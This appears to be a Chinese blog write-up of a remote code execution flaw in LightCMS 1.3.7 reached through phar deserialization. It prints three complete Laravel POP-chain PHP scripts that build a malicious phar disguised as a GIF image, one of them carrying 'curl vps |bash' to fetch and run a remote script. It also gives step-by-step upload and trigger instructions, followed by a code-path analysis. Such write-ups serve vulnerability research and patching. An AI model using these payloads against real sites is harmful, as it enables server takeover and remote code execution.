热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

开发笔记:LightCMS1.3.7RCE漏洞

篇首语:本文由编程笔记#小编为大家整理,主要介绍了LightCMS1.3.7-RCE漏洞相关的知识,希望对你有一定的参考价值。

篇首语:本文由编程笔记#小编为大家整理,主要介绍了LightCMS1.3.7-RCE漏洞相关的知识,希望对你有一定的参考价值。








LightCMS1.3.7-RCE漏洞


  • 环境搭建(Kali)
  • 漏洞复现
  • 漏洞分析



环境搭建(Kali)

参考之间的文章:LightCMS1.3.5-任意文件读取&RCE漏洞



漏洞复现

找一个 Laravel RCE 的 gadget,生成 phar 文件,exp如下


POP_1
<?php
namespace Illuminate\\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events &#61; $events;
$this->event &#61; $event;
}
}
class BroadcastEvent
{
protected $connection;
public function __construct($connection)
{
$this->connection &#61; $connection;
}
}
}
namespace Illuminate\\Bus{
class Dispatcher{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver &#61; $queueResolver;
}
}
}
namespace{
$command &#61; new Illuminate\\Broadcasting\\BroadcastEvent(&#39;whoami&#39;);
$dispater &#61; new Illuminate\\Bus\\Dispatcher("system");
$PendingBroadcast &#61; new Illuminate\\Broadcasting\\PendingBroadcast($dispater,$command);
$phar &#61; new Phar(&#39;phar.phar&#39;);
$phar -> stopBuffering();
$phar->setStub("GIF89a"."");
$phar -> addFromString(&#39;test.txt&#39;,&#39;test&#39;);
$phar -> setMetadata($PendingBroadcast);
$phar -> stopBuffering();
rename(&#39;phar.phar&#39;,&#39;phar.jpg&#39;);
}

POP_2
<?php
namespace Illuminate\\Broadcasting
{
use Illuminate\\Events\\Dispatcher;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($cmd)
{
$this->events &#61; new Dispatcher($cmd);
$this->event&#61;$cmd;
}
}
}
namespace Illuminate\\Events
{
class Dispatcher
{
protected $listeners;
public function __construct($event){
$this->listeners&#61;[$event&#61;>[&#39;system&#39;]];
}
}
}
namespace{
$phar &#61; new Phar(&#39;phar.phar&#39;);
$phar -> startBuffering();
$phar -> setStub(&#39;GIF89a&#39;.&#39;&#39;);
$o &#61; new Illuminate\\Broadcasting\\PendingBroadcast($argv[1]);
echo base64_encode(serialize($o));
$phar -> setMetadata($o);
$phar -> addFromString(&#39;test.txt&#39;,&#39;test&#39;);
$phar -> stopBuffering();
}

POP_3
<?php
namespace Illuminate\\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events &#61; $events;
$this->event &#61; $event;
}
}
class BroadcastEvent
{
protected $connection;
public function __construct($connection)
{
$this->connection &#61; $connection;
}
}
}
namespace Illuminate\\Bus{
class Dispatcher{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver &#61; $queueResolver;
}
}
}
namespace{
$command &#61; new Illuminate\\Broadcasting\\BroadcastEvent(&#39;curl vps |bash&#39;);
$dispater &#61; new Illuminate\\Bus\\Dispatcher("system");
$PendingBroadcast &#61; new Illuminate\\Broadcasting\\PendingBroadcast($dispater,$command);
$phar &#61; new Phar(&#39;phar.phar&#39;);
$phar -> stopBuffering();
$phar->setStub("GIF89a"."");
$phar -> addFromString(&#39;test.txt&#39;,&#39;test&#39;);
$phar -> setMetadata($PendingBroadcast);
$phar -> stopBuffering();
rename(&#39;phar.phar&#39;,&#39;phar.jpg&#39;);
}


来到内容管理 - 新增文章内容&#xff0c;上传文件&#xff0c;就会得到一个这样的图片 url&#xff1a;http://127.0.0.1:8000/upload/image/202106/qYUkjTWuFUMdMKo2hhp4DptwF23FkZJZ2nM1ixWy.gif




然后来到我们自己的 vps&#xff0c;新建一个 txt&#xff0c;内容为&#xff1a;phar://./upload/image/202106/qYUkjTWuFUMdMKo2hhp4DptwF23FkZJZ2nM1ixWy.gif




然后 POST 提交到这个路由即可触发 phar 反序列化



漏洞分析

在LightCMS1.3.5的任意文件读取漏洞被提出并且修复后&#xff0c;我们来分析一下作者修复所用的fetchImageFile函数


在这里插入图片描述



跟进fetchImageFile函数&#xff0c;可以看到其使用curl来获取远程资源的内容&#xff0c;然后使用 Image:make 模块进行解析&#xff0c;并且对后缀也进行了严格的过滤&#xff0c;由于该后台是基于laravel框架开发&#xff0c;并且这个cms 后台还是有图片上传功能的&#xff0c;不妨我们尝试利用phar反序列化实现RCE


在这里插入图片描述



我们跟进一下isWebp函数 &#xff0c;由于传入的不是Webp文件&#xff0c;所以会进入Image::make($data);&#xff0c;而且这个data变量也就是请求返回的内容&#xff0c;在获取到远程url的内容后&#xff0c;会调用Intervention\\Image\\Facades\\Image的 make方法&#xff0c;对图片内容进行解析


在这里插入图片描述



继续跟进到vendor/intervention/image/src/intervention/Image/AbstractDriver.php&#xff0c;通过 init()&#xff0c;然后传入 decoder->init()


在这里插入图片描述
在这里插入图片描述



可以看到 data 不仅可以是图片的二进制数据 &#xff0c;还可以是这些数据格式&#xff0c;跟进 initFromUrl方法


在这里插入图片描述



它继续读取了这个 url 的内容&#xff0c;然后作为 binary 数据处理


在这里插入图片描述



跟进 isUrl&#xff0c;这个方法只是利用 FILTER VAR 判断是否为 url&#xff0c;这意味着前面的 http 协议可以替换成其他协议&#xff0c;比如 phar 协议&#xff0c;将 url 内容改成一个 phar 进行测试&#xff0c;依旧进到了这里并且传给了 file_get_contents()&#xff0c;即可以触发 phar 反序列化


在这里插入图片描述






推荐阅读
  • 使用C++编写程序实现增加或删除桌面的右键列表项
    本文介绍了使用C++编写程序实现增加或删除桌面的右键列表项的方法。首先通过操作注册表来实现增加或删除右键列表项的目的,然后使用管理注册表的函数来编写程序。文章详细介绍了使用的五种函数:RegCreateKey、RegSetValueEx、RegOpenKeyEx、RegDeleteKey和RegCloseKey,并给出了增加一项的函数写法。通过本文的方法,可以方便地自定义桌面的右键列表项。 ... [详细]
  • 在Docker中,将主机目录挂载到容器中作为volume使用时,常常会遇到文件权限问题。这是因为容器内外的UID不同所导致的。本文介绍了解决这个问题的方法,包括使用gosu和suexec工具以及在Dockerfile中配置volume的权限。通过这些方法,可以避免在使用Docker时出现无写权限的情况。 ... [详细]
  • 本文介绍了一个在线急等问题解决方法,即如何统计数据库中某个字段下的所有数据,并将结果显示在文本框里。作者提到了自己是一个菜鸟,希望能够得到帮助。作者使用的是ACCESS数据库,并且给出了一个例子,希望得到的结果是560。作者还提到自己已经尝试了使用"select sum(字段2) from 表名"的语句,得到的结果是650,但不知道如何得到560。希望能够得到解决方案。 ... [详细]
  • 基于Socket的多个客户端之间的聊天功能实现方法
    本文介绍了基于Socket的多个客户端之间实现聊天功能的方法,包括服务器端的实现和客户端的实现。服务器端通过每个用户的输出流向特定用户发送消息,而客户端通过输入流接收消息。同时,还介绍了相关的实体类和Socket的基本概念。 ... [详细]
  • 本文介绍了一种轻巧方便的工具——集算器,通过使用集算器可以将文本日志变成结构化数据,然后可以使用SQL式查询。集算器利用集算语言的优点,将日志内容结构化为数据表结构,SPL支持直接对结构化的文件进行SQL查询,不再需要安装配置第三方数据库软件。本文还详细介绍了具体的实施过程。 ... [详细]
  • 本文介绍了pack布局管理器在Perl/Tk中的使用方法及注意事项。通过调用pack()方法,可以控制部件在显示窗口中的位置和大小。同时,本文还提到了在使用pack布局管理器时,应注意将部件分组以便在水平和垂直方向上进行堆放。此外,还介绍了使用Frame部件或Toplevel部件来组织部件在窗口内的方法。最后,本文强调了在使用pack布局管理器时,应避免在中间切换到grid布局管理器,以免造成混乱。 ... [详细]
  • 本文介绍了如何在Azure应用服务实例上获取.NetCore 3.0+的支持。作者分享了自己在将代码升级为使用.NET Core 3.0时遇到的问题,并提供了解决方法。文章还介绍了在部署过程中使用Kudu构建的方法,并指出了可能出现的错误。此外,还介绍了开发者应用服务计划和免费产品应用服务计划在不同地区的运行情况。最后,文章指出了当前的.NET SDK不支持目标为.NET Core 3.0的问题,并提供了解决方案。 ... [详细]
  • Ihaveaworkfolderdirectory.我有一个工作文件夹目录。holderDir.glob(*)>holder[ProjectOne, ... [详细]
  • 微信官方授权及获取OpenId的方法,服务器通过SpringBoot实现
    主要步骤:前端获取到code(wx.login),传入服务器服务器通过参数AppID和AppSecret访问官方接口,获取到OpenId ... [详细]
  • 本文讨论了在ASP中创建RazorFunctions.cshtml文件时出现的问题,即ASP.global_asax不存在于命名空间ASP中。文章提供了解决该问题的代码示例,并详细解释了代码中涉及的关键概念,如HttpContext、Request和RouteData等。通过阅读本文,读者可以了解如何解决该问题并理解相关的ASP概念。 ... [详细]
  • 2019独角兽企业重金招聘Python工程师标准
    本文介绍了2019独角兽企业对Python工程师的招聘标准,包括在AndroidManifest中定义meta-data的方法和获取meta-data值的代码。同时提供了获取meta-data值的具体实现方法。转载文章链接:https://my.oschina.net/u/244918/blog/685127 ... [详细]
  • 使用freemaker生成Java代码的步骤及示例代码
    本文介绍了使用freemaker这个jar包生成Java代码的步骤,通过提前编辑好的模板,可以避免写重复代码。首先需要在springboot的pom.xml文件中加入freemaker的依赖包。然后编写模板,定义要生成的Java类的属性和方法。最后编写生成代码的类,通过加载模板文件和数据模型,生成Java代码文件。本文提供了示例代码,并展示了文件目录结构。 ... [详细]
  • 本文介绍了使用C++Builder实现获取USB优盘序列号的方法,包括相关的代码和说明。通过该方法,可以获取指定盘符的USB优盘序列号,并将其存放在缓冲中。该方法可以在Windows系统中有效地获取USB优盘序列号,并且适用于C++Builder开发环境。 ... [详细]
  • tcpdump 4.5.1 crash 深入分析
    tcpdump 4.5.1 crash 深入分析 ... [详细]
  • 本文整理了Java中org.apache.hadoop.hive.ql.plan.ExprNodeColumnDesc.getTypeInfo()方法的一些代码示例,展 ... [详细]
author-avatar
手机用户2502880645
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有